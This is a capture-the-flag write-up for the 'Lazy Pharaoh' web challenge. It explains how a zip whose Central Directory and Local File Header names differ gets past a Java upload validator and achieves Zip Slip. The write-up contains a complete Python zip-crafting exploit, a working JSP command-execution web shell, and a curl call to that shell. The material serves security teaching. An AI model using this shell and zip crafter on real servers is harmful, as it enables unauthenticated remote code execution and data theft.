Zip TOCTOU to RCE via Zip Slip - Lazy Pharaoh | CyCTF 2026 Quals
A race-condition-backed Zip Slip chain from upload validation to code execution.
- CTF
- CyCTF 2026 Quals
- Challenge
- Lazy Pharaoh
- Category
- Web Exploitation
- Published
- Mar 14, 2026
- Difficulty
- Hard

Hey! It's Ahmed (aka Pizza Steve) back with a writeup for the Lazy Pharaoh web challenge.
First, I want to thank all authors for the high quality challenges and my great team for their efforts as we qualified for the finals!
Without further ado, let's begin!
Initial Recon
When we first visit the website, we encounter a login/registration page followed by an upload function. From here, we start with the first step: recon.

The source code was provided, so let's dig in.
The key files are:
FileService.java: handles zip validation (isSafeZip()) and extraction (extractZip())TomcatConfig.java: configures the embedded Tomcat serverSecurityConfig.java: defines what routes need authenticationdocker-compose.yml: reveals where the flag actually lives
The first thing that caught my eye in docker-compose.yml:
environment:
- FLAG=CyCTF{Fake_flag}
So the flag is an environment variable, not a file. That means we need code execution, not just a file read.
Finding the Vulnerability
After analyzing the code, the core vulnerability is **Zip Slip,**a well-known path traversal attack where a maliciously crafted zip contains entries with names like ../../../etc/passwd. This causes the extractor to write files outside the intended directory.
In our case, we use it to drop a JSP shell into the Tomcat webroot and get RCE.
The interesting twist is that the app tries to defend against it with a validator, but the defense is broken due to a TOCTOU flaw we can exploit.
The Upload Flow
When you upload a .zip, the server does two things in sequence:
- Runs
isSafeZip()to validate the zip entries - Runs
extractZip()to actually extract the files
The problem is that they use two completely different Java APIs to read the same file.
Validator
// VALIDATOR uses ZipFile
try (ZipFile zf = new ZipFile(tempFile)) {
// reads entry names from the Central Directory (end of file)
String name = entry.getName();
// checks: no .., no /, no .jsp/.war/.jar/.class
}
Extractor
// EXTRACTOR uses ZipInputStream
try (ZipInputStream zis = new ZipInputStream(bis)) {
// reads entry names from Local File Headers (sequential)
String entryName = entry.getName();
Path outputPath = extractDir.resolve(entryName).normalize();
// writes directly, no checks here!
}
This is a classic TOCTOU (Time-of-Check / Time-of-Use) bug. The check and the extraction never see the same data. But what's TOCTOU?
A TOCTOU (Time-of-Check to Time-of-Use) bug is a race condition vulnerability where a program checks a resource's state (e.g., file permissions, database record) and then acts on it, but the state changes between the "check" and the "use".
Why Do They See Different Data?
A ZIP file stores entry metadata in two separate locations:
- The Local File Header is located before each file's data in the ZIP archive and is used by ZipInputStream.
- The Central Directory is located at the end of the ZIP file and is used by ZipFile.
Both store the entry name, but they're stored separately and can differ. A crafted zip can have safe.txt in the Central Directory (what the validator sees) and ../../../webroot/shell.jsp in the Local File Header (what the extractor uses).
The validator sees a harmless text file. The extractor writes a JSP shell.
Where Does It Land?
TomcatConfig.java file tells us something important:
public static final String WEBROOT = "/app/webroot/";
factory.setDocumentRoot(new File(WEBROOT));
Tomcat serves files from /app/webroot/. And SecurityConfig.java makes it even better for us:
.requestMatchers(new AntPathRequestMatcher("/**/*.jsp")).permitAll()
Any .jsp in the webroot executes with zero authentication. So we just need to upload our shell there.
Getting the Traversal Depth Right
The extract directory is /app/uploads/{username}/{timestamp}. That's 3levels deep from /app. So to reach /app/webroot/:
/app/uploads/user/timestamp -> start
/app/uploads/user -> ../
/app/uploads -> ../../
/app -> ../../../
/app/webroot/shell.jsp -> ../../../webroot/shell.jsp
I initially used ../../webroot/shell.jsp which landed at /app/uploads/webroot/shell.jsp, not served by Tomcat, hence the 404 error I got. One extra ../ fixed it.

Building the Exploit
The key is making a zip where ZipFile reads safe.txt from the Central Directory, but ZipInputStream reads ../../../webroot/shell.jsp from the Local File Header.
import struct, zlib
jsp_payload = b'''<%@ page import="java.io.*" %><%
String cmd = request.getParameter("cmd");
if(cmd != null) {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",cmd});
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line; StringBuilder sb = new StringBuilder();
while((line=br.readLine())!=null) sb.append(line).append("\\n");
out.print(sb.toString());
}
%>'''
def make_zip(local_name: bytes, central_name: bytes, data: bytes) -> bytes:
crc = zlib.crc32(data) & 0xFFFFFFFF
# Local File Header that is read by ZipInputStream (the extractor)
local_header = struct.pack('<4sHHHHHIIIHH',
b'PK\x03\x04', 20, 0, 0, 0, 0,
crc, len(data), len(data),
len(local_name), 0
) + local_name + data
# Central Directory which is read by ZipFile (the validator)
central_header = struct.pack('<4sHHHHHHIIIHHHHHII',
b'PK\x01\x02', 20, 20, 0, 0, 0, 0,
crc, len(data), len(data),
len(central_name), 0, 0, 0, 0, 0,
0
) + central_name
# End of Central Directory
eocd = struct.pack('<4sHHHHIIH',
b'PK\x05\x06', 0, 0, 1, 1,
len(central_header), len(local_header), 0
)
return local_header + central_header + eocd
malicious_zip = make_zip(
local_name=b'../../../webroot/shell.jsp', # seen by ZipInputStream
central_name=b'safe.txt', # seen by ZipFile
data=jsp_payload
)
with open('exploit.zip', 'wb') as f:
f.write(malicious_zip)
print('[+] exploit.zip ready')
Getting the Flag
Now we upload exploit.zip. The server validates against safe.txt, extracts to ../../../webroot/shell.jsp, and Tomcat serves it instantly.
curl https://cyctf-luxor-8e0c2493c1b5-lazzy-0-0.chals.io/shell.jsp?cmd=printenv+FLAG
Flag:
CyCTF{egMGP-6PiOKj41vMm29cswWU8CfMWXNkijRnvkp69Sj4MpjNpgsujJA9TYmv70gljf-tT242N-wqeCbw9p4EOqChf7myfab9AA}
Thanks for reading. — Steve